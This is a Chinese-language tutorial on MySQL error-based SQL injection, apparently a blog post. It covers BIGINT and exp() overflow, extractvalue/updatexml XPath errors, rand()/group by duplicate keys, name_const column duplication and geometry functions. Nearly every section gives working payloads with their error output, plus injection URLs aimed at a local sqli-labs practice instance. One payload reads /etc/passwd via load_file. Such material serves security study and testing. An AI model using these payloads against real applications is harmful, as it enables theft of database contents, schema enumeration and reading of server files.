MySQL报错注入
- SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。
- MYSQL报错注入大体可以分为以下几类:
- BIGINT等数据类型溢出
- Xpath语法错误
- concat+rand()+group_by()导致主键重复
- 数据库的一些特性
- 注意,在使用报错语句时,有两种使用方法,一种是AND连接,报错语句不需要写SELECT;另一种是UNION,报错语句需要些SELECT,同时还要注意列数量要对应,推荐使用AND连接。
BIGINT等数据类型溢出
在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况,在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:
1234mysql> select 18446744073709551615+1;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'mysql> select ~0+1;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:
123456mysql> select (select * from (select user())x);> root@localhostmysql> select !(select * from (select user())x);> 1mysql> select ~(select * from (select user())x);> 18446744073709551615同理,利用exp函数也会产生类似的溢出错误:
123456789101112131415mysql> select exp(~(select*from(select user())x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'mysql> select (select(!x-~0)from(select(select user())x)a);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'mysql> select (!(select * from (select user())x) - ~0);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'mysql> select exp(~(select*from (select table_name from information_schema.tables limit 0,1)x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'CHARACTER_SETS' from dual)))'mysql> select exp(~(select*from (select concat(table_schema,':',table_name) from information_schema.tables limit 0,1)x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'information_schema:CHARACTER_SETS' from dual)))'mysql> select exp(~(select*from(select load_file('/etc/passwd'))a));daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/sync报错信息是有长度限制的,同时报错的信息跟MySQL版本、MySQL所在操作系统有关系。
几种形式的变种:
123mysql> select !(select*from(select user())x)-~0;mysql> select (select(!x-~0)from(select(select user())x)a);mysql> select (select!x-~0.from(select(select user())x)a);利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,如:ATAN、CEIL、FLOOR、HEX、RAND、IN、CEILING、TRUNCATE、TAN、SQRT、ROUND‘SIGN等函数:
123mysql> select !atan((select*from(select user())a))-~0;mysql> select !ceil((select*from(select user())a))-~0;mysql> select !floor((select*from(select user())a))-~0;注入案例:
12345http://192.168.100.8/sqli-labs/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--http://192.168.100.8/sqli-labs/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--http://192.168.100.8/sqli-labs/Less-5/?id=1' union select exp(~(select*from (select concat(table_schema,':',table_name) from information_schema.tables limit 0,1)x)),2,3--http://192.168.100.8/sqli-labs/Less-5/?id=1' and (exp(~(select * FROM(SELECT USER())a)))--http://192.168.100.8/sqli-labs/Less-5/?id=1' and exp(~(select*from (select concat(table_schema,':',table_name) from information_schema.tables limit 0,1)x))--
Xpath语法错误
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:
12mysql> select extractvalue(1,'/a/b');mysql> select updatexml(1,'/a/b',1);它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:
123456789101112mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));ERROR 1105 (HY000): XPATH syntax error: '~5.5.36-log~'mysql> select extractvalue(1,concat(0x7e,(select user()),0x7e));ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~security~'mysql> select updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~CHARACTER_SETS~'mysql> select updatexml(1,concat(0x7e,(select concat(table_schema, ':',table_name) from information_schema.tables limit 0,1),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~information_schema:CHARACTER_SE'mysql> select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users~'注入案例:
123456http://192.168.100.8/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--http://192.168.100.8/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat(table_schema, ':', table_name) from information_schema.tables limit 0,1),0x7e))--http://192.168.100.8/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--http://192.168.100.8/sqli-labs/Less-5/?id=1' union select extractvalue(1,concat(0x7e,(select database()),0x7e)),2,3--http://192.168.100.8/sqli-labs/Less-5/?id=1' union select extractvalue(1,concat(0x7e,(select concat(table_schema, ':', table_name) from information_schema.tables limit 0,1),0x7e)) ,2, 3 --http://192.168.100.8/sqli-labs/Less-5/?id=1' union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),2,3--注意:extractvalue()和updatexml()报错信息是有长度限制的,最大长度限制32位。
concat+rand()+group_by()导致主键重复
这里利用到了count()和group by在遇到rand()产生的重复值时报错,错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关。
12mysql> select count(*) from users group by floor(rand(0)*2);ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
MySQL官方:查询的时候如果使用rand()的话,该值会被计算多次,在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,最终会导致主键重复错误产生。
12345678910mysql> select count(*) from users group by concat(version(),floor(rand(0)*2));ERROR 1062 (23000): Duplicate entry '5.5.36-log1' for key 'group_key'mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry '5.5.36-log1' for key 'group_key'mysql> select count(*) from users group by concat((select table_name from information_schema.tables limit 0,1),':',floor(rand(0)*2));ERROR 1062 (23000): Duplicate entry 'CHARACTER_SETS:1' for key 'group_key'mysql> select count(*),concat((select table_name from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry 'CHARACTER_SETS1' for key 'group_key'mysql> select count(*) from information_schema.tables group by concat((select concat(table_schema,':',table_name) from information_schema.tables limit 0,1),floor(rand(0)*2));ERROR 1062 (23000): Duplicate entry 'information_schema:CHARACTER_SETS1' for key 'group_key'注入实例:
12http://192.168.100.8/sqli-labs/Less-5/?id=1' union select count(*),2,3 from users group by concat(database(),floor(rand(0)*2))--http://192.168.100.8/sqli-labs/Less-5/?id=1' union select count(*),2,3 from information_schema.tables group by concat((select concat(table_schema,':',table_name) from information_schema.tables limit 0,1),floor(rand(0)*2))--
数据库的一些特性
- 利用数据库的一些特性产生报错信息。
列名重复
mysql列名重复会报错,我们利用name_const来制造一个列,根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。
12mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;ERROR 1060 (42S21): Duplicate column name '5.5.36-log'利用这个特性加上join函数可以爆列名:
123456mysql> select * from(select * from users a join users b)c;ERROR 1060 (42S21): Duplicate column name 'id'mysql> select * from(select * from users a join users b using(id))c;ERROR 1060 (42S21): Duplicate column name 'username'mysql> select * from(select * from users a join users b using(id,username))c;ERROR 1060 (42S21): Duplicate column name 'password'注入实例:
1http://192.168.100.8/sqli-labs/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --
几何函数
- mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行,不同的函数情况版本情况可能不一样。
geometrycollection()
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。对GeometryCollection的元素无任何限制。攻击载荷查询的为一串字符,然后用处理geometrycollection(),由于MYSQL无法用这样字符串画出图形,所以报错了。
12345678mysql> select geometrycollection((select * from(select * from(select user())a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsingmysql> select geometrycollection((select * from(select * from(select database())a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`database()` from (select 'security' AS `database()` from dual) `b`)' value found during parsingmysql> select geometrycollection((select * from(select * from(select concat(table_schema, ':',table_name) from information_schema.tables limit 0,1)a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`concat(table_schema, ':',table_name)` from (select 'information_schema:CHARACTER_SETS' AS `concat(table_schema, ':',table_name)` from dual) `b`)' value found during parsingmysql> select geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`group_concat(table_name)` from (select 'emails,referers,uagents,users' AS `group_concat(table_name)` from dual) `b`)' value found during parsing注入实例:
1234http://192.168.100.8/sqli-labs/Less-5/?id=1' and geometrycollection((select * from(select * from(select database())a)b)) --http://192.168.100.8/sqli-labs/Less-5/?id=1' union select geometrycollection((select * from(select * from(select database())a)b)),2,3 --http://192.168.100.8/sqli-labs/Less-5/?id=1' and geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b))--http://192.168.100.8/sqli-labs/Less-5/?id=1' union geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b)),2,3--
multipoint()
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。
12mysql> select multipoint((select * from(select * from(select database())a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`database()` from (select 'security' AS `database()` from dual) `b`)' value found during parsing其余用法同geometrycollection()。
polygon()
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。
12mysql> select polygon((select * from(select * from(select user())a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing其余用法同geometrycollection()。
multipolygon()
multipolygon()是一种由Polygon元素构成的几何对象集合。
12mysql> select multipolygon((select * from(select * from(select user())a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing其余用法同geometrycollection()。
linestring()
LineString()是具有点之间线性内插特性的Curve。
12mysql> select linestring((select * from(select * from(select user())a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing其余用法同geometrycollection()。
multilinestring()
multilinestring()是一种由LineStirng元素构成的MultiCurve几何对象集合。
12mysql> select multilinestring((select * from(select * from(select user())a)b));ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing其余用法同geometrycollection()。